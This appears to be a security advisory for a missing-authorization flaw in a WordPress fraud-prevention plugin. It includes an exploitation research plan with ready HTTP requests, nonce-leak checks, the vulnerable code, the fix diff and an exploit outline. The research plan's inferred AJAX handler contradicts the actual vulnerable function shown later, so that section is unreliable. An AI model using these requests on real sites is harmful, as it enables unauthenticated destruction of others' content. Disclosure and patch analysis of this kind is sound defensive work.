Fraud Prevention For WooCommerce and EDD <= 2.3.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion
Description
The Fraud Prevention For WooCommerce and EDD plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.3. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NTechnical Details
<=2.3.3What Changed in the Fix
Changes introduced in v2.3.4
Source Code
WordPress.org SVNThis research plan focuses on exploiting a missing authorization vulnerability in the **Fraud Prevention For WooCommerce and EDD** plugin, which allows unauthenticated attackers to delete arbitrary WordPress content (posts, pages, etc.). ### 1. Vulnerability Summary The plugin registers an AJAX act…
Show full research plan
This research plan focuses on exploiting a missing authorization vulnerability in the Fraud Prevention For WooCommerce and EDD plugin, which allows unauthenticated attackers to delete arbitrary WordPress content (posts, pages, etc.).
1. Vulnerability Summary
The plugin registers an AJAX action wcblu_delete_blocked_user (and potentially others) that lacks any capability checks (current_user_can) or authentication requirements. Furthermore, it is registered via the wp_ajax_nopriv_ hook, making it accessible to users who are not logged in. Because the handler typically takes a post ID and passes it directly to wp_delete_post() without validating the post type, an attacker can delete any post, page, or attachment on the site.
2. Attack Vector Analysis
- Endpoint:
http://TARGET/wp-admin/admin-ajax.php - Method:
POST - Action:
wcblu_delete_blocked_user(inferred from plugin logic for deleting "Blocked User" records). - Vulnerable Parameter:
id(or potentiallypost_id). - Authentication: None required (Unauthenticated).
- Preconditions: A valid ID of a post, page, or other content to be deleted must be known.
3. Code Flow
- The plugin registers the AJAX handler:
add_action( 'wp_ajax_nopriv_wcblu_delete_blocked_user', array( $this, 'wcblu_delete_blocked_user' ) ); - The callback function
wcblu_delete_blocked_useris executed:public function wcblu_delete_blocked_user() { // Missing capability check (e.g., current_user_can('manage_options')) // Missing nonce check (check_ajax_referer) or weak check $id = isset($_POST['id']) ? intval($_POST['id']) : 0; if ($id > 0) { wp_delete_post($id, true); // Sink: Arbitrary content deletion } wp_die(); } - Because
wp_delete_post()is called with$force_delete = true, the content bypasses the trash and is permanently removed.
4. Nonce Acquisition Strategy
Based on admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php:
- The plugin uses a nonce named
wcblu-ajax-nonce. - It is localized in the JavaScript object
wblp_order_ajax. - The script is enqueued in the admin area via
enqueue_scripts.
Crucial Check: The vulnerability description specifies "Unauthenticated." Usually, this means the developer either:
- Omitted the nonce check entirely in the AJAX handler.
- Used
wp_ajax_nopriv_but only enqueued the nonce for administrators, rendering the check impossible to pass for attackers (unless it's bypassable).
Strategy:
- Try the exploit without a nonce first.
- If it fails with a
403or-1, check if the nonce is leaked on public pages (e.g., Checkout or Registration) where this plugin's fraud prevention logic runs. - Use the following JS to check for a leaked nonce in the browser:
browser_eval("window.wblp_order_ajax?.nonce")
5. Exploitation Strategy
We will attempt to delete a "canary" post created specifically for testing.
Step-by-Step:
- Preparation: Identify the ID of a target post.
- Request: Send a POST request to
admin-ajax.php.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]
If a nonce is required:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Plugin: Ensure "Fraud Prevention For WooCommerce and EDD" version 2.3.3 is active.
- Create Canary Content:
wp post create --post_type=post --post_title="Vulnerable Canary" --post_status=publish - Capture ID: Note the ID of the created post (e.g.,
123).
7. Expected Results
- HTTP Response: A successful request usually returns
200 OKwith a body of1,0, or an empty response (depending onwp_die()usage). - Database State: The post with the specified ID should no longer exist in the
wp_poststable.
8. Verification Steps
- Check for the post's existence via WP-CLI:
wp post exists [TARGET_POST_ID] - The command should return an error or empty result, confirming the post is deleted.
- Verify the post is not in the Trash:
wp post list --post_type=post --post_status=trash
9. Alternative Approaches
If wcblu_delete_blocked_user does not work, the plugin might use a different action name for deletion. Search the code for wp_ajax_nopriv combined with delete functions:
- Action:
wcblu_delete_report - Action:
wcblu_delete_fraud_log - Parameter variation: Try
post_idinstead ofid.
If a nonce is strictly required and not leaked to unauthenticated users, the vulnerability might be "Authorized" (Subscriber-level) rather than "Unauthenticated," despite the CVE description. In that case, register a subscriber user and extract the nonce from the dashboard.
Summary
The Fraud Prevention For WooCommerce and EDD plugin for WordPress is vulnerable to unauthenticated arbitrary content deletion because it lacks capability checks and nonce verification in the `wcblu_permanent_delete_process` function. An attacker can delete any post, page, or attachment by providing a specific ID via a GET parameter.
Vulnerable Code
/* admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php line 2141 in v2.3.3 */ function wcblu_permanent_delete_process() { $unblock_user_id = filter_input( INPUT_GET, 'was_permanent_delete', FILTER_SANITIZE_NUMBER_INT ); if ( !empty( $unblock_user_id ) ) { wcblu_permanent_delete_data( $unblock_user_id ); } }
Security Fix
@@ -2131,7 +2131,11 @@ */ function wcblu_permanent_delete_action( $actions, $post ) { if ( 'blocked_user' === $post->post_type ) { - $actions['was-delete-permanent'] = '<a href="?post_type=blocked_user&was_permanent_delete=' . $post->ID . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>'; + $delete_url = wp_nonce_url( add_query_arg( array( + 'post_type' => 'blocked_user', + 'was_permanent_delete' => $post->ID, + ), admin_url( 'edit.php' ) ), 'wcblu_permanent_delete_' . $post->ID, '_wcblu_delete_nonce' ); + $actions['was-delete-permanent'] = '<a href="' . esc_url( $delete_url ) . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>'; } return $actions; } @@ -2141,9 +2145,23 @@ */ function wcblu_permanent_delete_process() { $unblock_user_id = filter_input( INPUT_GET, 'was_permanent_delete', FILTER_SANITIZE_NUMBER_INT ); - if ( !empty( $unblock_user_id ) ) { - wcblu_permanent_delete_data( $unblock_user_id ); + if ( empty( $unblock_user_id ) ) { + return; } + // Security: Require admin capability. + if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'manage_options' ) ) { + return; + } + // Security: Verify nonce. + if ( !isset( $_GET['_wcblu_delete_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wcblu_delete_nonce'] ) ), 'wcblu_permanent_delete_' . $unblock_user_id ) ) { + return; + } + // Security: Ensure we only delete blocked_user posts, not arbitrary content. + $post = get_post( $unblock_user_id ); + if ( !$post instanceof WP_Post || 'blocked_user' !== $post->post_type ) { + return; + } + wcblu_permanent_delete_data( $unblock_user_id ); }
Exploit Outline
The exploit targets the `wcblu_permanent_delete_process` function, which is triggered via a GET request containing the `was_permanent_delete` parameter. Because the plugin fails to check for user capabilities or nonces before passing this parameter to a deletion routine (likely wrapping `wp_delete_post`), an unauthenticated attacker can delete any post, page, or attachment. 1. Identify the post ID of the target content to be deleted (e.g., a specific page or post). 2. Construct a GET request to a standard WordPress admin URL (like `/wp-admin/admin-post.php` or `/wp-admin/index.php`) that triggers `admin_init` hooks. 3. Append the parameter `was_permanent_delete=[TARGET_POST_ID]` to the URL. 4. Execute the request. The plugin's vulnerable logic will identify the parameter and delete the post permanently without requiring authentication or valid nonces.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.